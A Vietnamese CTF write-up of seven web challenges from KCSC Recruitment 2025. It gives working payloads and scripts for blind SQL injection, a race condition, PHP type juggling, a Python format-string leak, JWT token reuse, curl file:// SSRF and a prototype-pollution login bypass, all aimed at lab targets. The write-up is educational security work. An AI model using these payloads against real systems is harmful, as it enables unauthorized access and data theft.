# WRITEUP WEB KCSC RECRUITMENT 2025
## Nguyễn Minh Triết AT20N0155
--> Đây là writeup của giải ttv của em, em cảm ơn các anh chị đã đọc và mong là có thể nhận được lời nhận xết và kinh nghiệm từ các anh, chị ạ!
## I. Check Member
### RECON
* Đây là bài warmup của giải, nên nhìn vào ta có thể thấy được lổ hỏng của bài một cách tường minh. Ngắm qua `Database` một tí thì ta có thể thấy như sau:

* `Database` server dùng là `Mysql` và gồm 2 tables là `secrets` và `members` và flag lưu ở column `flag` ở table `secrets`. Xem đến phần source index thì ta thấy được code `php`, phần `html` chỉ để render `FE` nên em sẽ chỉ nói đến phần có thể khai thác là code `PHP`
```php=
<?php
if(isset($_GET['name'])){
$name = $_GET['name'];
if(substr_count($name,'(') > 1){
die('Dont :(');
}
$mysqli = new mysqli("mysql-db", "kcsc", "REDACTED", "ctf", 3306);
$result = $mysqli->query("SELECT 1 FROM members WHERE name = '$name'")->fetch_assoc();
if($result){
echo 'Found :)';
} else {
echo "Not found :(";
}
$mysqli->close();
die();
}
?>
```
* Khi nhập tên user để check thì câu lệnh nhập sẽ được gán vào `$result` sau đó query đến lệnh `SELECT 1 FROM members WHERE name = '$name'`. Nhưng do không thực hiện việc `filter` đầu vào nên ở đây đã có lỗ hỏng `SQLI`, việc khai thác sẽ rất đơn giản nếu như không có thêm hàng `substr_count()` ở trên dùng để filter dấu `(` nếu vượt quá 1 lần. và ta chỉ thấy được ở dưới chỉ có 2 câu lệnh `echo` tương đương với `Có` hoặc `Không` nên nhìn vào ban đầu có lẽ đây là lỗ hỏng `BLind SQLI`
### Exploit
* Giờ đến với server mình thử nhập vào tên user có trong `Database` để thử check thì kết quả là `Found`

* Thử khai thác với payload `'OR 1=1-- -'` thì kết quả vẫn là `Found` --> nghi vấn `Blind SQLI` của mình đã đúng.
* Ta thấy ở câu lệnh query trong src là `SELECT 1 FROM members WHERE name = '$name'`. Vì thế ta chỉ cần trigger 1 column để exploit. Ta có payload như sau `'UNION SELECT 1-- -`

* Kết quả đúng như vậy, giờ ta có thể lấy từng kí tự của flag trong column `secrets`, do `Database` là `MySQL` nên ta có thể dùng `SUBSTRING` để cắt flag ra và so sánh. Ví dụ với payload `' UNION SELECT flag FROM secrets WHERE flag LIKE 'KCSC%' AND SUBSTRING(flag, 1, 1) = 'K'-- -` ở đây mình so sánh kí tự `K` ứng với format `KCSC{...}` của flag thì kết quả là `Found`

* Để tối ưu hoa mình sẽ dùng `Intruder` của `Burp` để tiến hành bruteforce flag

* Ta sẽ được position như sau và sau đó là `URL encode`, để tối ưu hoá thì mình nghĩ sẽ k cần dùng đến check length của flag do mình nghĩ độ dài nó cũng k quá dài đến việc brute lâu nên mình sẽ cho cận là `0-90` sau đó chọn `Cluster Bomb` để brute

* Kết quả ta được flag ở local, giờ thì chỉ cần thực hiện ở server để lấy flag
> KCSC{sql_injection_that_de_dung_khong_nao}
## II. Yugioh Shop
### Recon
* Đây là một chall thuộc dạng cơ bản của `Race Condition`, ban đầu em khi nhìn vào chall thì thật sự không nghĩ đến `Race condition` mà nghĩ đến các lỗi khác liên quan đến `Database` nhiều hơn vì thực sự chưa làm các bài `Race condition` dạng `White box` bao giờ, nhưng sau khi được hint là `Race` thì ngay lập tức đã vào làm ngay với kinh nghiệm chơi các bài tương tự ở `Portswigger`

* Ta thấy web là dạng kiểu `E-commerce` với sản phầm là bài magic, ta có balance mặc định là `100$` vì kinh nghiệm đa phần chơi ở `Portswigger` là blackbox nên cách giải của em sẽ như sau.
### Exploit
* Đầu tiên ta sẽ bật `Intercept` để chặn request đến server sau đó là bắt các request của lần lượt 5 bộ phận lại và add vào group

* Vì tính chất cơ bản của `Race conditon` là việc không thực hiện kiểm soát được thứ tự thực thi của các request cùng một nguồn, ví dụ điển hình là ở phần source code ta thấy ở phần điều kiện check
```python
if item and user[3] >= item[2]:
query_db("UPDATE users SET balance = balance - ? WHERE id = ?", [item[2], user[0]])
query_db("INSERT INTO transactions (user_id, item_id) VALUES (?, ?)", [user[0], item[0]])
```
* Sau khi gộp request thì giờ sẽ gửi request với option là `parrallel`

* Sau một lúc gửi thì ta catch được 5 lá và craft để lấy flag

## III. Login System
### Recon
* Server chỉ gồm 1 trang login bình thường với 3 credentials được cấp ở trong source

* Thử login vào với `nightcore:nightcore` ta nhận được một trang dashboard redirect lại username

* Ban đầu em khá loay hoay chưa tìm được hướng khai thác do không chịu đọc kỹ source, cứ tưởng sẽ có thể làm giả được session id hay gì đó cao siêu nhưng đây chỉ là bài warmup và lỗi cơ bản ở đây là `Type juggling`

* Cụ thể ở câu lệnh `POST` khi check username `if ($users[$username] == $password)` thay vì sử dụng so sánh tuyệt đối `===` thì ở đây lại dùng `==` tức là nguyên nhân gây ra `Type juggling` và ở trên ta thấy được cả hai biến `username` và `password` đều `unvalidated` nên có thể dễ dàng khai thác
```py
$username = $data->{'username'} ?? '';
$password = $data->{'password'} ?? '';
```
### Exploit
```python=
import requests
import json
url = "http://localhost:8987/"
payloads = [
{"username": "admin", "password": True},
{"username": "admin", "password": []},
{"username": "admin", "password": {}},
{"username": "admin", "password": None},
{"username": "admin", "password": "0e123"}
]
for payload in payloads:
r = requests.post(url, json=payload)
if "success" in r.json():
print(payload)
break
```
* Đây là payload khai thác, mình đã thử một vài trường hợp so sánh của php ở [trang này](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md) và truờng hợp bypass được là ` {"username": "admin", "password": True}`, từ đây ta có payload để exploit lấy flag là
```py
import requests
import json
url = "http://localhost:8987/"
session = requests.Session()
payloads = [
{"username": "admin", "password": True},
]
for payload in payloads:
r1 = session.post(url, json=payload)
print(r1.text)
r2 = session.get('http://localhost:8987/?dashboard')
print(r2.text)
```

> Do em thấy server bị dead với quên lưu flag nên em lấy flag ở local ạ hicc
## IV. giftcard
### Recon

* Bài này khá đơn giản nếu ta nhìn ra được lỗ hỏng ở phần hàm `format()` mà dev đã dùng và cụ thể là ở đoạn
```python
xmas_card = "From: {card.sender}\r\nTo: {card.receiver}\r\n" + card_content
xmas_card = xmas_card.format(card=card)
```
* `card_content` có chứa chuỗi `{card.sender}` hoặc bất kỳ placeholder nào khác,và do lỗ hỏng từ `format()` và dev đã không thực hiện `escapeHTML` nên ta thể lợi dụng để thực hiện tấn công format string, cụ thê
```py!
FLAG = os.environ.get("FLAG", "KCSC{FAKE_FLAG}")
```
* `FLAG` được lấy từ biến môi trường hệ thống thông qua `os.environ.get("FLAG")`. Ta có payload để lấy là
### Exploit
```python!
{card.__init__.__globals__[FLAG]}
```

> KCSC{py7h0n_f0rm47_57r1n6_15_50_c00llllllllllllll}
## V. written_by_chatgpt
### Recon
* Nếu nhìn sơ qua thì mình tưởng có thể là một chall `SQLI` nhưng không đây là dạng `Broken Authentication` cụ thể là `JWT reuse`. Cụ thể source được code bằng `Nodejs` và cả 3 route `register,login và reset passwd` đều trung 1 route

* Ta sẽ thử register với 1 username nào đó thì sẽ được token để login

* Nhưng ở `Login` thì lại bắt phải nhập password, và khi sử dụng `Forgot Password` thì ta lại được gửi token reset về email. Giờ ta sẽ phân tích source một chút
#### Register route
```js
app.post('/register', (req, res) => {
const username = String(req.body.username);
const password = uuidv4();
bcrypt.hash(password, 10, (err, hashedPassword) => {
if (err) {
return res.status(500).send('Error hashing password');
}
const sql = `INSERT INTO users (id, username, password) VALUES (?, ?, ?)`;
const id = uuidv4();
db.run(sql, [id, username, hashedPassword], function (err) {
if (err) {
console.log(err);
return res.status(500).send('Error registering user');
}
const token = jwt.sign({ id, username}, JWT_SECRET, { expiresIn: '1h' });
res.json({message: 'User registered successfully', token});
});
});
});
```
* Ở route `register` không có gì đáng nói dường như ở đây điểm chú ý sẽ là mật khẩu được tạo bằng chuẩn `uuidv4` và sau đó là hash với `bcrypt` nên mình nghĩ khả năng brute là không thể
```js
const token = jwt.sign({ id, username }, JWT_SECRET, { expiresIn: '1h' });
```
* Điểm chú ý sẽ là token này dùng để xác thực user, ta sẽ nói đến sau
#### Reset-Passwd
```js
app.post('/reset-password-request', (req, res) => {
const username = String(req.body.username);
const sql = `SELECT * FROM users WHERE username = ?`;
db.get(sql, [username], (err, user) => {
if (err || !user) {
return res.status(400).send('User not found');
}
const resetToken = jwt.sign({ id: user.id, username: user.username }, JWT_SECRET, { expiresIn: '10m' });
const resetLink = `http://localhost:${PORT}/reset-password/${resetToken}`;
//In construction
res.send('Password reset link sent to your email');
});
});
```
* Đây sẽ là phần gây ra lỗ hỏng, ta có thể thấy phần tạo token giôngs như ở route `register` `const resetToken = jwt.sign({ id: user.id, username: user.username }, JWT_SECRET, { expiresIn: '10m' });` . Cả 2 đều sử dụng cùng 1 `JWT_SECRET` cho cả `login token` và `reset token`
```js
app.post('/reset-password/:token', (req, res) => {
const { token } = req.params;
const newPassword = String(req.body.newPassword);
if(!uuidRegex.test(newPassword)) return res.status(400).send("Invalid new password")
jwt.verify(token, JWT_SECRET, (err, decoded) => {
if (err) {
return res.status(400).send('Invalid or expired reset token');
}
bcrypt.hash(newPassword, 10, (err, hashedPassword) => {
if (err) {
return res.status(500).send('Error hashing password');
}
const sql = `UPDATE users SET password = ? WHERE id = ?`;
db.run(sql, [hashedPassword, decoded.id], function (err) {
if (err) {
return res.status(500).send('Error updating password');
}
res.send('Password successfully reset');
});
});
});
});
```
* Và ở route `verify` ta thấy được phần xác thực token `jwt.verify(token, JWT_SECRET, (err, decoded) => {`. Ở đây không hề phân biệt loại token nào để xác thực, tức là ta có thể dùng cả token ở `register` được cấp để làm token `verify passwd` chăng?
### Exploit
* Giờ ta sẽ bắt đầu khai thác để có thể `reset-passwd` và đặt lại passwd khác. Đầu tiên ta sẽ đăng kí một user để láy được `login token`

* Từ respone sẽ nhận được token
```
{"message":"User registered successfully","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjNiMGY0NmJiLTM0YzktNGM3My04YTVmLWNmMTYyNGY2ZDFmOSIsInVzZXJuYW1lIjoiVHJvaGFuIiwiaWF0IjoxNzM3MzQxOTE0LCJleHAiOjE3MzczNDU1MTR9.EWuJaRXf4hmHYLKsF2MGnQZ-xyIBbYzevIddDJYuTYo"}
```

* Giờ ta sẽ gửi request để reset-passwd theo format ở source, ở đây mình sẽ dùng `Rest client` để gửi nhanh, và ở đây `new-passwd` sẽ phải theo định dạng của chuản `uuidv4`

* Ta nhận được thông báo `Pâssword successfully reset`, giờ chỉ cần gửi post request để đăng nhập với `new-passwd`

> KCSC{alternative_for_view_src_html_warmup_challenge}
## VI. Break
* Chall này ta cần phải bypass được `Admin login check` để có thể vào được `/home` để thực hiện lệnh curl. Sau hơn 1 tiếng tìm payload thì mình tìm được `["admin"]` có thể bypass được login check, cụ thể ta vẫn dễ dàng tạo đuợc username tương tự admin, quan trọng là khi server gen session thì có thể dùng session đó để truy cập `/home`
```python!
m = re.search(r".*", username)
if m.group().strip().find("admin") == 0:
return jsonify({"message": "Invalid username"}), 200
```
* Với credential `["admin"]:12345678` giờ ta đã có thể truy cập `/home` với session `eyJ1c2VybmFtZSI6ImFkbWluIn0.Z434XQ.UNoXd7HystHD8zn-WrstMCGkK_0`

* Ban đầu mình cứ nghĩ rằng sẽ khai thác để lấy flag thông qua lệnh curl thông qua việc inject `;` hoặc `&&` nhưng sau một lúc thử thì không đuợc thì có lẽ cách này không khả thi

```py
protocol = data.get("protocol").strip()
host = data.get("host").strip()
url = f"{protocol}://{host}"
response = subprocess.check_output(['curl', url])
return jsonify({"message": response.decode('utf-8')}), 200
```
* Lỗ hỏng ở đoạn code sẽ nằm ở đây vì không thực hiện validate input, sau một lúc research và nhận được hint từ author thì mình biết được rằng chỉ cần tận dụng lệnh curl của server cung cấp là có thể giải quyết

* Sau khi check docker, thì ta biết được file `flag.txt` được tạo và đưa vào container thì có thể dùng lệnh `curl file:///flag.txt` để thực hiện việc khai thác lấy flag:v

> KCSC{l00kup_wh4t_y0ur_s3rv3r_s4ys}
## VII. S1mple
### Recon
* Chall gồm 2 route chính là `/login` và `/admin`, ta sẽ xem xét `/login` trước. Route này buộc phải truy cập bằng method post
```py
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = USERS[username]
if (!username || username === "admin" || !user) {
return res.status(403).send("Forbidden1: Access denied");
}
if (user["password"] !== password) {
return res.status(403).send("Forbidden2: Access denied");
}
if (user["role"] === "guest") {
return res.send("Hello: " + username);
}
const token = jwt.sign( req.body, SECRET_KEY, { expiresIn: '1h' });
console.log(token)
return res.redirect(303, `/admin?token=${token}`);
});
```
* Ta thấy ở đây lệnh if sẽ thực hiện check với 3 param là `username, password, role`. Tương tự như chall `Break` thì ta có cách để bypass phần username admin là `["admin"]`. Cụ thể như sau

* Ở đây mình sẽ sửa source lại để debug một tí, cụ thể do câu if đầu tiên là ` if (!username || username === "admin" || !user)` nên việc ta phải dùng một tên username có trong object `user` được khai báo trước đó và không được bằng với `admin` do vậy ta chỉ có thể dùng user còn lại là `endy` nhưng ở bên dưới sẽ có vòng if thứ 3 để check role, do `endy` là guest nên ta sẽ chỉ được sen ra một trang HTMl như trên, vì thế bắt buộc user phải là `admin` nên ta có thể bypass bằng `["admin"]`

* Cụ thể ta thấy như đoạn code đã sửa mình sẽ test, khi nhập `username : ["admin"]` thì chương trình đã không check đoạn if này mà jump thẳng đến đoạn `if 2` để check password, tức là ta đã bypass được `if 1`, để chắc hơn mình sẽ sửa lại một tí nữa ở phần `if 3`

* Như ta thấy, mình sửa lại sẽ thực hiện check role là `admin` và sau đó comment lại `if 2`

* Res trả về role `admin`, ok thế tức là ta đã hoàn thành `2/3`, giờ ta chỉ cần bypass được password là xong.
* Cứ nghĩ chỉ đơn giản như thế nhưng gần như cả ngày mình ngồi tìm cách bypass password :< và không thành công đến lúc research thì biết đuợc đây là lỗ hỏng `Prototype Pollution`, do chưa từng làm quen lỗ hỏng này trước đây và cuối cùng mình cũng đã thành công với payload
```javascript!
{
"username": "__proto__"
}
```
* `__proto__` là một thuộc tính đặc biệt trong JavaScript trỏ đến prototype của object. Khi truy cập `USERS["__proto__"]`, thay vì trả về `undefined`, nó sẽ trả về prototype object của `USERS`.Vì prototype object không phải là undefined, điều kiện !user sẽ là false
* Còn lý do ta không truyền param `password` là vì khi truy cập `user["password"]`, vì user là prototype object nên `password` sẽ là `undefined`. Trong request không có param `password`, nên `password` từ `req.body` cũng là `undefined`. Khi so sánh `undefined !== undefined` sẽ trả về false
=> Bypass được check password!